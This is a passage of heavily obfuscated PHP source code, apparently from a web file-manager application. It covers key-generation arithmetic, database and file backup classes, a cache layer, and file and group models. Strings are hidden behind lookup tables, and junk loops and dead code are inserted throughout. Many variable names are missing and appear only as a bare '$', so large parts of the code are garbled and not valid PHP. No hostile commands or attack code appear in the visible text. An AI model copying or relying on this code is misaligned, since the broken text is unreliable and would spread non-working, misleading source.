($ < $[619]) { if ($ >= 0) { break; } $++; } $ڔ = $Ձ٩ % $ڔ; $ = $[734]; while (strlen($) < $[636]) { if (!$) { break; } $++; } } if ($ڔ == 1) { break; } else { $ެ++; } } $ = 2; $ߵ냑 = $[735]; if (strlen($ߵ냑) < $[630]) { return; } for ($ά = 0; $ά < $̞ * 10; $ά++) { if (($̞ * $ά + 1) % $ެ == 0) { $ = intval(($̞ * $ά + 1) / $ެ); break; } } $Ȏ = $this->kqgwf557211e($ * $ . $۹[6], $۹[135]); $܆ = md5($۹[299] . ($ + $) . $۹[300] . $ެ . $۹[300] . $ . $۹[301]); $҃ = $this->kqgwf557211e($øخ, $܆) . $۹[302] . $Ȏ; return $҃; } public function exbp9a4001da($) { $ܴ讀 =& $_SERVER[ö]; $Ӳ =& $_SERVER[¤]; $ͧ = explode($Ӳ[302], $); if (count($ͧ) != 2) { return $Ӳ[6]; } $ = $this->cunp63e49e87($ͧ[1] . $Ӳ[6], $Ӳ[135]); $ = $ܴ讀[736]; while ($ < $ܴ讀[624]) { if ($ >= 0) { break; } $++; } if (!$) { return $Ӳ[6]; } $ = intval($); $ǎ = $ܴ讀[737]; if (strlen($ǎ) < $ܴ讀[624]) { return; } $ڛ = 0; $ = $ܴ讀[738]; if (!$) { return; } $꯲ = 0; $ = $ܴ讀[739]; while ($ < $ܴ讀[619]) { if ($ >= 0) { break; } $++; } for ($ș = 3; $ș < $; $ș += 2) { if ($ % $ș != 0) { continue; } $ڛ = $ș; $꯲ = intval($ / $ș); break; $ʅ = $ܴ讀[740]; while (strlen($ʅ) < $ܴ讀[630]) { if (!$ʅ) { break; } $ʅ++; } } $ = ($ڛ - 1) * ($꯲ - 1); $ = intval(($ڛ + $꯲) / 2); while (1) { $߳ = $; $ԑ = $; while ($ԑ % $߳ != 0) { $ = $ԑ; $ = $ܴ讀[741]; if (!$) { return; } $ԑ = $߳; $߳ = $ % $߳; $˴ʈ = $ܴ讀[742]; } if ($߳ == 1) { break; } else { $++; } } $팊 = 2; $ = $ܴ讀[743]; for ($ș = 0; $ș < $ * 10; $ș++) { if (($ * $ș + 1) % $ == 0) { $팊 = intval(($ * $ș + 1) / $); break; } } $ = md5($Ӳ[299] . ($ڛ + $꯲) . $Ӳ[300] . $ . $Ӳ[300] . $팊 . $Ӳ[301]); $̴ش = $ܴ讀[744]; if (strlen($̴ش) < $ܴ讀[619]) { return; } $ = $this->cunp63e49e87($ͧ[0], $); $ʼn = $ܴ讀[745]; if (strlen($ʼn) < $ܴ讀[619]) { return; } return $; $ = $ܴ讀[746]; while ($ < $ܴ讀[630]) { if ($ >= 0) { break; } $++; } } public function rtnic2a1610b() { $ =& $_SERVER[ö]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = array(); $ȴ؊ = 1; $Ѱ = $[747]; while ($ȴ؊ <= (int) sqrt($)) { $Ӡ = $ȴ؊; while (!0) { $Ӡ++; if ($Ӡ <= 2) { $ȴ؊ = $Ӡ; break; } else { if ($Ӡ < 2) { continue; } } $ = !0; for ($Ԙ = 2; $Ԙ <= sqrt($Ӡ); $Ԙ++) { if ($Ӡ % $Ԙ == 0) { $ = !1; } } if ($) { $ȴ؊ = $Ӡ; break; } } $[] = $ȴ؊; $Ϫ = $[748]; while (strlen($Ϫ) < $[615]) { if (!$Ϫ) { break; } $Ϫ++; } } $ = 2; $е = $[749]; if (strlen($е) < $[624]) { die; } for ($Ӡ = $; $Ӡ > 1; $Ӡ--) { $ = !0; $ = $[750]; if (strlen($) < $[624]) { die; } foreach ($ as $霣) { if ($Ӡ % $霣 == 0) { $ = !1; break; } } if ($) { $ = $Ӡ; break; } } return $; } public function wcaqa624b2a8($, $訠) { $к =& $_SERVER[ö]; $ =& $_SERVER[¤]; return call_user_func(array($[8], $[303]), $, $訠); $ݺ = $к[751]; if (strlen($ݺ) < $к[615]) { die; } } public function kqgwf557211e($ն, $) { $ =& $_SERVER[¤]; return call_user_func(array($[304], $[305]), $ն, $); $֣ = $_SERVER[ö][752]; if (!$֣) { return; } } public function cunp63e49e87($, $ݘ) { $ =& $_SERVER[¤]; return call_user_func(array($[304], $[306]), $, $ݘ); $ٯؤ = $_SERVER[ö][753]; } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ݵ =& $_SERVER[ö]; $this->isManual(); self::$name = date($ݵ[754]); if (!($ = Model($ݵ[755])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$ݵ[32]]; if ($[$ݵ[756]] == $ݵ[88]) { self::$name = date($ݵ[757]); $ͨΠ = 0; if (isset($[$ݵ[293]][$ݵ[199]][$ݵ[468]])) { $ͨΠ = (int) $[$ݵ[293]][$ݵ[199]][$ݵ[468]]; } if (self::$manual == 0 && $[$ݵ[32]] == self::$name) { Model($ݵ[755])->remove($[$ݵ[399]]); } $ = $this->initData($ͨΠ, $[$ݵ[758]]); } else { $this->checkStore($[$ݵ[758]]); } } self::$option = $; } private function isManual() { $Ɲ = _get($GLOBALS, $_SERVER[ö][759], 0); $Ɲ = intval($Ɲ); self::$manual = $Ɲ && $Ɲ == 1 ? 1 : 0; } private function initData($ی = 0, $ = '') { $ =& $_SERVER[ö]; $٘ = Model($[755])->config(); if ($ && $٘[$[758]] != $) { $ی = 0; } $this->checkStore($٘[$[758]]); if (self::$manual == 1) { self::$name .= $[11] . date($[760]); } $ = array($[758] => $٘[$[758]], $[32] => self::$name, $[756] => 0, $[761] => $٘[$[761]], $[762] => self::$manual, $[293] => array($[763] => array($[756] => 0), $[764] => array($[756] => 0, $[765] => 0, $[766] => 0, $[33] => $[12], $[767] => 0, $[497] => 0), $[768] => array($[756] => 0, $[765] => 0, $[766] => 0, $[767] => 0, $[497] => 0), $[199] => array($[756] => 0, $[769] => 0, $[770] => 0, $[771] => 0, $[772] => 0, $[468] => $ی, $[767] => 0, $[497] => 0)), $[767] => time(), $[497] => 0); $Ѳ = Model($[755])->insert($); $[$[399]] = $Ѳ; return $; } private function checkStore($Ʉ݁) { $Ƃ =& $_SERVER[ö]; $眬 = Model($Ƃ[773])->listData($Ʉ݁); Model($Ƃ[773])->checkConfig($眬); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[ö][755])->findByName(self::$name); } return self::$option; } public static function set($ȣ) { $붉 =& $_SERVER[ö]; $ = self::get(); foreach ($ȣ as $Ǡ => $ز) { $ = explode($붉[10], $Ǡ); $ә = count($); switch ($ә) { case 1: $[$[0]] = $ز; break; case 2: $[$[0]][$[1]] = $ز; break; case 3: $[$[0]][$[1]][$[2]] = $ز; break; } } Model($붉[755])->update($[$붉[399]], $); self::$option = $; return self::$option; } public function keep() { $і =& $_SERVER[ö]; $֯҈ = self::get(); if ($֯҈[$і[293]][$і[763]][$і[756]] == $і[88]) { return; } $this->backupKeep($֯҈); self::set(array($і[774] => 1)); } private function backupKeep($) { $ =& $_SERVER[ö]; if (self::$manual == 1) { return; } $Β = Model($[755])->listData(); if (empty($Β)) { return; } $ꎹ = 0; $ᦏ = array(); foreach ($Β as $ג) { if ($ꎹ >= 7) { break; } $ᦏ[] = $ג[$[32]]; $ꎹ++; } for ($ꎹ = 0; $ꎹ < 12; $ꎹ++) { $ᦏ[] = date($[775], strtotime("\55{$ꎹ}\x20\x6d\x6f\156\164\150\163")); } $ᦏ = array_unique($ᦏ); $ = Model($[776])->get($[777]); foreach ($Β as $ג) { if (isset($ג[$[762]]) && $ג[$[762]] == $[88]) { continue; } if (!empty($ג[$[32]]) && in_array($ג[$[32]], $ᦏ)) { continue; } Model($[755])->remove($ג[$[399]]); $͝ = $this->backupPath($, $); IO::remove($͝, !1); } } private function backupPath($ߐ, $ӻ = false) { $ =& $_SERVER[ö]; if (!$ӻ) { $ӻ = Model($[776])->get($[777]); } $ش = $ߐ[$[32]]; $¤ = substr(md5($[778] . $ӻ . $ش), 0, 8); return "\x7b\151\157\72{$ߐ[$[758]]}\x7d\x2f\144\x61\164\x61\x62\141\163\145\x2f\x62\x61\143\x6b\x75\x70\x2f" . $ش . $[11] . $¤; } public function db() { $ =& $_SERVER[ö]; $۽ = self::get(); if ($۽[$[293]][$[764]][$[756]] == $[88]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($[779] => 1)); return !0; } public function dbFile() { $鋇˂ =& $_SERVER[ö]; $炤 = self::get(); if ($炤[$鋇˂[293]][$鋇˂[768]][$鋇˂[756]] == $鋇˂[88]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($鋇˂[780] => 1)); return !0; } public function file() { $ڹ =& $_SERVER[ö]; $ߨˏ = self::get(); if ($ߨˏ[$ڹ[293]][$ڹ[199]][$ڹ[756]] == $ڹ[88]) { return !0; } if (!isset($ߨˏ[$ڹ[761]]) || $ߨˏ[$ڹ[761]] == $ڹ[197]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($ڹ[781] => 1, $ڹ[756] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $؋ =& $_SERVER[ö]; $ڬݞ = Backup::get(); self::$io = $ڬݞ[$؋[758]]; self::$name = $ڬݞ[$؋[32]]; $Ͱ = new DbManage(); $ = $Ͱ->dbType(); $٥ = array($؋[782] => $, $؋[783] => time()); Backup::set($٥); $·괺 = $this->tmpFilesPath() . $؋[784] . self::$name . $؋[8]; del_dir($·괺); mk_dir($·괺); $ = $Γ㛯 = 0; $ = new Task($؋[785], $؋[786], 0, LNG($؋[787]) . $؋[788] . LNG($؋[789])); try { $ž = $Ͱ->db()->getTables(); } catch (Exception $ԅ) { $->end(); return !1; } $ž = array_diff($ž, array($؋[790], $؋[791])); foreach ($ž as $) { $ += $Ͱ->model($)->count(); } $->task[$؋[792]] = $; $GLOBALS[$؋[793]] = self::$name; foreach ($ž as $) { $ = $·괺 . $ . $؋[794]; $ = null; if ($ == $؋[795] && (!isset($ڬݞ[$؋[761]]) || $ڬݞ[$؋[761]] == $؋[197])) { $ = self::$io; } $Γ㛯 += $Ͱ->sqlFromDb($, $, $, $); } unset($GLOBALS[$؋[793]]); $->end(); if ($Γ㛯 > $) { $ = $Γ㛯; } $٥ = array($؋[782] => $, $؋[779] => 1, $؋[796] => $, $؋[797] => $Γ㛯, $؋[798] => time()); Backup::set($٥); if ($ - $Γ㛯 > 0) { $۱ʐ = $؋[799]; if (stristr(I18n::getType(), $؋[800])) { $۱ʐ = $؋[801]; } write_log(array($۱ʐ, $٥), $؋[786]); return !1; } return !0; } private function tmpFilesPath() { $過 =& $_SERVER[ö]; $͝ = TEMP_FILES; if ($GLOBALS[$過[6]][$過[89]][$過[802]]) { $͝ = $GLOBALS[$過[6]][$過[89]][$過[802]]; if (!mk_dir($͝) || !is_writable($͝) || !IO::mkfile($͝ . $過[803])) { $͝ = TEMP_FILES; } } return $͝; } } goto CŽȶ; CŽȶ: class BackupDbFile { public function __construct() { } public function index() { $± =& $_SERVER[ö]; $ = Backup::get(); $ŊŃ = $[$±[32]]; $ = $this->tmpFilesPath() . "\x62\x61\143\x6b\165\160\x5f{$ŊŃ}\x2f"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($); $ = isset($[$±[83]]) ? $[$±[83]] : array(); $ȰĒ = array_sum(array_column($, $±[76])); if (!$ȰĒ) { return !1; } $ = array($±[804] => $ȰĒ, $±[805] => time()); Backup::set($); $ = new TaskFileTransfer($±[806], $±[786], count($), LNG($±[787]) . $±[386] . LNG($±[789]) . $±[807]); $->task[$±[769]] = $ȰĒ; foreach ($[$±[83]] as $) { $ٹߏ = IO::move($[$±[84]], $); if (!$ٹߏ) { $->end(); $؉Ĥ = IO::getLastError($±[808] . $[$±[84]] . $±[809] . $ . $±[164]); write_log($؉Ĥ, $±[786]); return !1; } } $՟ = new DbManage(); $ = $՟->getSqlFile(); if (!$[$±[810]] || !$[$±[13]]) { return !1; } IO::move($[$±[810]], $); IO::move($[$±[13]], $); $->end(); $ = array($±[811] => $ȰĒ, $±[812] => time()); Backup::set($); return !0; } private function backupPath($) { $ =& $_SERVER[ö]; $ = $[$[32]]; $̤ = Model($[776])->get($[777]); $Њ = substr(md5($[778] . $̤ . $), 0, 8); return "\173\x69\157\x3a{$[$[758]]}\175\x2f\x64\141\x74\141\142\141\x73\145\x2f\142\141\x63\x6b\165\160\57" . $ . $[11] . $Њ; } private function tmpFilesPath() { $ =& $_SERVER[ö]; $Ë = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[802]]) { $Ë = $GLOBALS[$[6]][$[89]][$[802]]; if (!mk_dir($Ë) || !is_writable($Ë) || !IO::mkfile($Ë . $[803])) { $Ë = TEMP_FILES; } } return $Ë; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[ö][293]][$_SERVER[ö][199]][$_SERVER[ö][468]]; $ = array($_SERVER[ö][469] => array($_SERVER[ö][813], $), $_SERVER[ö][814] => array($_SERVER[ö][331], $[$_SERVER[ö][758]])); $ = (int) Model($_SERVER[ö][795])->where($)->count($_SERVER[ö][468]); $È = (int) Model($_SERVER[ö][795])->where($)->sum($_SERVER[ö][76]); $ = new TaskFileTransfer($_SERVER[ö][815], $_SERVER[ö][786], $, LNG($_SERVER[ö][787]) . $_SERVER[ö][788] . LNG($_SERVER[ö][816])); $->task[$_SERVER[ö][769]] = $È; $ٕ = array($_SERVER[ö][817] => $, $_SERVER[ö][818] => $È, $_SERVER[ö][819] => time()); Backup::set($ٕ); $ٸ = !0; $NJ = $this->storeIds(); $ = 1; $ = 1000; $ = $߉ = 0; $ = array(); $ގ = $ = 0; do { $؟ = $_SERVER[ö][820]; $ = Model($_SERVER[ö][795])->where($)->field($؟)->order($_SERVER[ö][821])->selectPage($, $); $ڤ = !empty($[$_SERVER[ö][369]]) ? $[$_SERVER[ö][369]] : array(); foreach ($ڤ as $تګ) { if (!$this->_fileExist($تګ, $, $NJ)) { $ -= 1; $È -= (int) $تګ[$_SERVER[ö][76]]; write_log("\x66\x69\x6c\x65\x20\156\x6f\x74\x20\x65\170\151\163\164\x2e\146\151\x6c\x65\111\x44\x3a{$تګ[$_SERVER[ö][468]]}\54\40\x70\x61\164\x68\x3a{$تګ[$_SERVER[ö][84]]}", $_SERVER[ö][822]); continue; } $Ӗ = $تګ[$_SERVER[ö][84]]; $ = "\173\151\157\72{$[$_SERVER[ö][758]]}\x7d" . substr($Ӗ, strlen("\x7b\x69\x6f\72{$تګ[$_SERVER[ö][823]]}\x7d")); if (IO::exist($)) { $->updateFileEnd($تګ[$_SERVER[ö][32]], $تګ[$_SERVER[ö][76]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($Ӗ, $, $_SERVER[ö][824])) { write_log($_SERVER[ö][825] . $Ӗ . $_SERVER[ö][809] . $ . $_SERVER[ö][164], $_SERVER[ö][786]); $ٸ = !1; break; } } $ = $تګ[$_SERVER[ö][468]]; $߉ += 1; $ += $تګ[$_SERVER[ö][76]]; $ += 1; $ގ += $تګ[$_SERVER[ö][76]]; if ($ >= 1024 * 1024 * 100) { $ٕ = array($_SERVER[ö][826] => $, $_SERVER[ö][827] => $, $_SERVER[ö][828] => $ގ); Backup::set($ٕ); $ = $߉ = 0; } } $Փ = count($ڤ); $++; } while ($Փ == $); $->end(); $ٕ = array($_SERVER[ö][829] => 1, $_SERVER[ö][497] => time(), $_SERVER[ö][781] => 1, $_SERVER[ö][826] => $, $_SERVER[ö][818] => $È, $_SERVER[ö][817] => $, $_SERVER[ö][830] => time()); if ($߉) { $ٕ[$_SERVER[ö][827]] = $; $ٕ[$_SERVER[ö][828]] = $ގ; } Backup::set($ٕ); $this->_fileFilter($); return !0; } private function _fileExist($֥, &$, $ݮ) { $ =& $_SERVER[ö]; $א = $֥[$[84]]; if (in_array($֥[$[468]], $)) { return !1; } if (!in_array($֥[$[823]], $ݮ)) { return !1; } if (IO::exist($א)) { return !0; } $ۓ = get_path_father($א); if (IO::exist($ۓ)) { $[] = $֥[$[468]]; return !1; } $ = array($[823] => $֥[$[823]], $[84] => array($[383], "{$ۓ}\45")); $ = Model($[795])->where($)->field($[469])->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[468])); return !1; } private function _fileFilter($ꕽ) { $ʋ =& $_SERVER[ö]; if (empty($ꕽ)) { return; } $ӟ = array($ʋ[468] => array($ʋ[7], array_unique($ꕽ))); $ = Model($ʋ[831])->where($ӟ)->field($ʋ[402])->select(); foreach ($ as $ѫ) { Model($ʋ[831])->remove($ѫ[$ʋ[402]], !1); } } private function storeIds() { $П =& $_SERVER[ö]; $Ō = Model($П[773])->listData(); $Ӱ = array(); $߇ = $GLOBALS[$П[6]][$П[89]][$П[832]]; foreach ($Ō as $) { $ = strtolower($[$П[95]]); if (!isset($߇[$])) { continue; } $𥀞 = $П[74] . (isset($߇[$]) ? $߇[$] : ucfirst($)); if (!class_exists($𥀞)) { continue; } $Ӱ[] = $[$П[399]]; } return $Ӱ; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[ö]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $П = $GLOBALS[$[6]][$[349]]; $ = $П[$П[$[833]]]; $ƳȬ = $П[$[834]]; switch ($П[$[833]]) { case $[21]: self::$handle = Model($[835]); break; case $[836]: self::$handle = new CacheRedis($, $ƳȬ); break; case $[837]: self::$handle = new CacheMemcached($, $ƳȬ); break; case $[199]: self::$handle = new CacheFile($, $ƳȬ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ͅН) { if (is_array($ͅН) || is_object($ͅН)) { $ͅН = json_encode($ͅН); } $ͅН = rawurlencode($ͅН); return md5(KOD_SITE_ID . $_SERVER[ö][11] . $ͅН); } public static function get($嵳, $܅ = false) { $ = self::key($嵳); if ($܅) { return unserialize(self::init()->get($)); } if (!isset(self::$memoryCache[$])) { $ = self::init()->get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($, $͔, $Ҋ = false) { $Ӫ = self::key($); if (isset(self::$memoryCache[$Ӫ]) && self::$memoryCache[$Ӫ] === $͔) { return !0; } if ($Ҋ === 0) { self::$memoryCache[$Ӫ] = $͔; return !0; } CacheLock::lock($); $계 = self::init()->set($Ӫ, serialize($͔), $Ҋ); self::$memoryCache[$Ӫ] = $͔; CacheLock::unlock($); return $계; } public static function getCall($, $ú, $Ŀ, $Ҩ = array()) { $ =& $_SERVER[ö]; $ګ = self::get($); if ($ګ || $ګ === $[12]) { return $ګ; } $ګ = call_user_func_array($Ŀ, $Ҩ); $ګ = $ګ ? $ګ : $[12]; self::set($, $ګ, $ú); return $ګ; } public static function remove($ݳ) { $ʐ = self::key($ݳ); unset(self::$memoryCache[$ʐ]); self::clearTimeout(); CacheLock::lock($ݳ); $ڒ = self::init()->remove($ʐ); CacheLock::unlock($ݳ); return $ڒ; } public static function removeMemory($ؿ) { $僊ŋ = self::key($ؿ); unset(self::$memoryCache[$僊ŋ]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ö][838])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ö][839])) { self::init()->clearTimeout(); } } } goto aĽ; C: class FileModel extends ModelBase { protected $tableName = "\151\x6f\137\146\151\154\x65"; protected $tableMeta = array("\x74\x61\x62\x6c\x65\116\x61\155\x65" => "\151\157\137\x66\x69\154\145\137\x6d\145\x74\x61", "\155\145\x74\141\106\x69\x65\154\x64" => "\x66\x69\x6c\x65\111\x44"); public function fileInfo($) { $߱ =& $_SERVER[ö]; static $ = array(); if (!isset($[$])) { $ = $߱[1914]; $Γ = Model($߱[471])->field($)->where(array($߱[469] => $))->find(); $[$] = $Γ; } return $[$]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[ö]; $ = TEMP_PATH . $[1915]; if (!is_dir($)) { mk_dir($); } $ܡ = $ . $[1916] . rand_string(16); file_put_contents($ܡ, $); $В = $this->addFile($ܡ, $, !0); if (file_exists($ܡ)) { @unlink($ܡ); } return $В; } public function createFileName($, $ = false, $ = false) { $ =& $_SERVER[ö]; $ϋ = IO::init($[8]); $ = $this->makeFilePath($, $ϋ, $, $); $ = $ϋ->pathFather($); static $٪ = false; $ = $[1917] . md5($); if (!$٪ && !Cache::get($)) { $٪ = !0; $ = IO::mkdir($); if (!IO::exist($ . $[803])) { IO::mkfile($ . $[803]); } Cache::set($, 1, 3600 * 2); } return $; } public function makeFilePath($јDŽ, $ᴪ, $ȥ = false, $Ђ = false) { $ =& $_SERVER[ö]; $˔ = Model($[776])->get($[1918]); $Ε = KodIO::defaultIO() . date($[1919]); $ = $Ε . rand_string(5) . short_id(100); $јDŽ = str_replace($[8], $[11], KodIO::clear($јDŽ)); $ͷ = $ᴪ->ext($јDŽ); if (!$јDŽ) { $˔ = $[1920]; } switch ($˔) { case $[1921]: $ = $ . $[10] . $ᴪ->ext($јDŽ); if ($ͷ == $[1858]) { $ .= $[1221]; } break; case $[1922]: $ʆ = Model($[776])->get($[777]); $ = substr(md5($[778] . $ʆ . date($[754])), 0, 8); $Ǩ = KodIO::defaultDriver(); $Ε = $[1252] . $Ǩ[$[399]] . $[409] . date($[1923]) . $ . $[8]; if ($ͷ == $[1858]) { $јDŽ .= $[1221]; } $ = $[1924] . $Ε . $јDŽ; CacheLock::lock($); $ = $Ε . $јDŽ; if (IO::exist($Ε . $јDŽ)) { $͚ = substr($јDŽ, 0, strlen($јDŽ) - strlen($ͷ)); $ = $Ђ ? substr($Ђ, 0, 5) : ($ȥ ? substr($ȥ, 0, 5) : rand_string(5)); $ = $Ε . $͚ . $ . $[10] . $ͷ; } if (IO::isTypeObject($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $ = IO::setContent($, $[12]); if (!$) { show_json($[1925], !1); } } CacheLock::unlock($); break; case $[1920]: break; default: break; } return $; } public function addFileByRemote($ؤ, $ذ, $Ō = array()) { $ =& $_SERVER[ö]; if (!IO::exist($ؤ)) { return !1; } $ͦ淺 = $Ō[$[176]] ? $Ō[$[176]] : $[12]; $ = IO::hashMd5($ؤ, $ͦ淺); $ = KodIO::defaultDriver(); $̧ = array($[585] => IO::size($ؤ), $[1926] => 1, $[420] => $ذ, $[814] => $[$[399]], $[421] => $ؤ, $[1927] => $Ō[$[177]] ? $Ō[$[177]] : IO::hashSimple($ؤ), $[1928] => $ ? $ : $ͦ淺); if ($䇂 = $this->addFileCheckExist($̧[$[177]], $̧[$[176]], $̧[$[76]])) { return $䇂; } return $this->addFileData($̧); } private function addFileData($껕) { $֖ =& $_SERVER[ö]; if (!$껕) { return !1; } $껕[$֖[76]] = intval($껕[$֖[76]]); if (!$껕[$֖[76]] && strlen($껕[$֖[177]]) > 32) { $껕[$֖[76]] = intval(substr($껕[$֖[177]], 32)); } $ܰ = $this->add($껕); return $this->find($ܰ); } public function addFile($막, $ɐ, $ᾅȁ = false) { $Πڂ =& $_SERVER[ö]; $ = IO::hashSimple($막); $ = IO::size($막); $ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($막) : $Πڂ[12]; $ = $Πڂ[1929] . $; CacheLock::lock($); if ($ && $) { $ = $this->addFileCheckExist($, $, $); if ($) { CacheLock::unlock($); return $; } } $Ɂ = $this->addFileMake($막, $, $, $, $ɐ, $ᾅȁ); $٩ = $this->addFileData($Ɂ); CacheLock::unlock($); if (!$ && $٩) { $this->fileMd5Check($٩); } return $٩; } private function fileMd5Check($≡) { $ =& $_SERVER[ö]; $峬ޣ = array($≡[$[468]], $≡[$[84]]); $ = $[1930] . $≡[$[84]]; $ = $[1931] . $≡[$[468]]; $ = TaskQueue::add($[1932], $峬ޣ, $, $); if (!$) { $this->fileMd5Set($≡[$[468]], $≡[$[84]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($, $쑆) { $ =& $_SERVER[ö]; $ = $this->find($); if (!$ || $[$[176]]) { return; } $ = IO::hashMd5($쑆); if (!$) { return $[12]; } $this->where(array($[468] => $))->save(array($[176] => $)); } public function addFileMake($, $, $, $ٱ, $, $¡) { $ܲ =& $_SERVER[ö]; $ = $this->createFileName($, $, $ٱ); $ = get_path_father($); $ = get_path_this($); if ($¡) { $ = IO::move($, $, !1, $); } else { $ = IO::copy($, $, !1, $); } if (!$) { return !1; } $א = KodIO::defaultDriver(); $ꪤ = array($ܲ[585] => $, $ܲ[1926] => 1, $ܲ[420] => $, $ܲ[814] => $א[$ܲ[399]], $ܲ[421] => $, $ܲ[1927] => $, $ܲ[1928] => $ٱ); return $ꪤ; } public function addFileCheckExist($, $, $) { $Ħ =& $_SERVER[ö]; $ٶ = $this->findByHash($, $); if (!$ٶ) { return !1; } $П = array($Ħ[1926] => intval($ٶ[$Ħ[1933]]) + 1, $Ħ[585] => $); $this->where(array($Ħ[469] => $ٶ[$Ħ[468]]))->save($П); return $ٶ; } public function remove($ո) { $this->linkCountChange($ո, !1); $this->clearEmpty(); return !0; } public function linkAdd($ʷ) { $this->linkCountChange($ʷ, !0); } public function linkCountChange($, $˜) { $ =& $_SERVER[ö]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $) { $ʌɓ = $ . $[12]; if (!$[$ʌɓ]) { $[$ʌɓ] = 0; } $[$ʌɓ]++; } $ = array(); foreach ($ as $ => $) { $ʌɓ = $ . $[12]; if (!$[$ʌɓ]) { $[$ʌɓ] = array(); } $[$ʌɓ][] = $; } foreach ($ as $ => $) { if (!$) { continue; } $ = $˜ ? $ : -intval($); $Վ = array($[468] => array($[7], $)); if ($ < 0) { $Վ[$[1933]] = array($[1029], abs($)); } $this->where($Վ)->setAdd($[1933], $); } } public function findByHash($יDŽ, $Ί = false) { $ˌ =& $_SERVER[ö]; if (!$יDŽ && !$Ί) { return !1; } $Ǩ = array($ˌ[1927] => $יDŽ); if ($Ί) { $Ǩ = array($ˌ[1928] => $Ί); } return $this->order($ˌ[1934])->where($Ǩ)->find(); } public function clearEmpty($܃ɰ = 0) { $ =& $_SERVER[ö]; $ʇ = time() - 3600 * 24 * $܃ɰ; $ޥ = $[1935] . $ʇ; $υ͛ = $this->where($ޥ)->select(); if (!$υ͛) { return; } $ = new Task($[1936], $[12], count($υ͛)); foreach ($υ͛ as $菜) { $->update(1); $this->resetFile($菜); } $->end(); } public function resetFile($) { $Ν =& $_SERVER[ö]; $ = array($Ν[469] => $[$Ν[468]]); $欯 = Model($Ν[1350])->where($)->count(); $߹ = Model($Ν[1937])->where($)->count(); $ = intval($欯) + intval($߹); if ($ == 0) { IO::remove($[$Ν[84]]); Model($Ν[1938])->delete($[$Ν[468]]); $this->where($)->delete(); $this->metaSet($[$Ν[468]], null, null); return; } if ($[$Ν[1933]] != $) { $this->where($)->save(array($Ν[1926] => $)); } } public function storageInfo($Ҧ = false) { $ =& $_SERVER[ö]; $ʦ = $this->count() + 0.0; $ԏ͞ = 0; $ = 1; $ = 0; $ݫ = 5000; for ($؈ = 0; $؈ < $ʦ; $؈ = $؈ + $ݫ) { $ = $this->limit($؈, $؈ + $ݫ)->select(); foreach ($ as $) { $ += $[$[76]] * $[$[1933]]; $ԏ͞ += $[$[76]] * ($[$[1933]] - 1); $ += $[$[1933]]; } } $ܕ䃢 = array($[1939] => $, $[1940] => $ԏ͞, $[1941] => $ԏ͞ / $, $[80] => $ʦ, $[1942] => $); return $ܕ䃢; } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\x6f\165\160"; protected $tableMeta = array("\x74\141\142\154\145\116\x61\x6d\145" => "\147\162\x6f\165\160\x5f\x6d\x65\x74\x61", "\155\145\164\141\106\151\145\x6c\144" => "\x67\x72\x6f\x75\x70\x49\104"); protected function cacheFunctionAlias($) { $ᗢ =& $_SERVER[ö]; return array($ᗢ[1943] => array($[0], $ᗢ[1944]), $ᗢ[1945] => array($[0], $ᗢ[1946])); } protected function getInfo($闄, $ = false) { $Ł = $this->getInfoSimple($闄); if (!$Ł) { return !1; } if ($) { return $this->_listDataApplyItem($Ł); } return $this->cacheFunctionGet($_SERVER[ö][1947], $闄); } protected function getInfoSimple($Nj, $ = false) { $Ǟ =& $_SERVER[ö]; if ($) { $Ќ = array($Ǟ[1865] => intval($Nj)); $ = $this->where($Ќ)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($Ǟ[1948], $Nj); } protected function groupAdd($Ӌ) { $ɢ =& $_SERVER[ö]; if (!$Ӌ[$ɢ[432]] && isset($Ӌ[$ɢ[1865]]) && $Ӌ[$ɢ[1865]] == 1) { if ($ = $this->getInfoSimple($Ӌ[$ɢ[1865]], !0)) { return $Ӌ[$ɢ[1865]]; } } else { $ = $this->getInfoSimple($Ӌ[$ɢ[432]]); if (!$) { return !1; } } $ = $ɢ[531]; if ($[$ɢ[521]]) { $ = $[$ɢ[521]] . $[$ɢ[1865]] . $ɢ[50]; } $ = array($ɢ[420] => $this->groupNameAuto($Ӌ[$ɢ[432]], $Ӌ[$ɢ[32]]), $ɢ[401] => $Ӌ[$ɢ[432]], $ɢ[590] => $, $ɢ[1949] => $Ӌ[$ɢ[1852]], $ɢ[1950] => 0, $ɢ[1869] => 0); if (isset($Ӌ[$ɢ[1889]])) { $[$ɢ[1889]] = $Ӌ[$ɢ[1889]]; } else { $ľ = $this->max($ɢ[1889]); if (!$ľ) { $ľ = 0; } $[$ɢ[1889]] = $ľ + 1; } if (!empty($Ӌ[$ɢ[1865]])) { $[$ɢ[1865]] = $Ӌ[$ɢ[1865]]; } $؇ = $this->add($); $this->setNamePinyin($؇, $[$ɢ[32]]); if 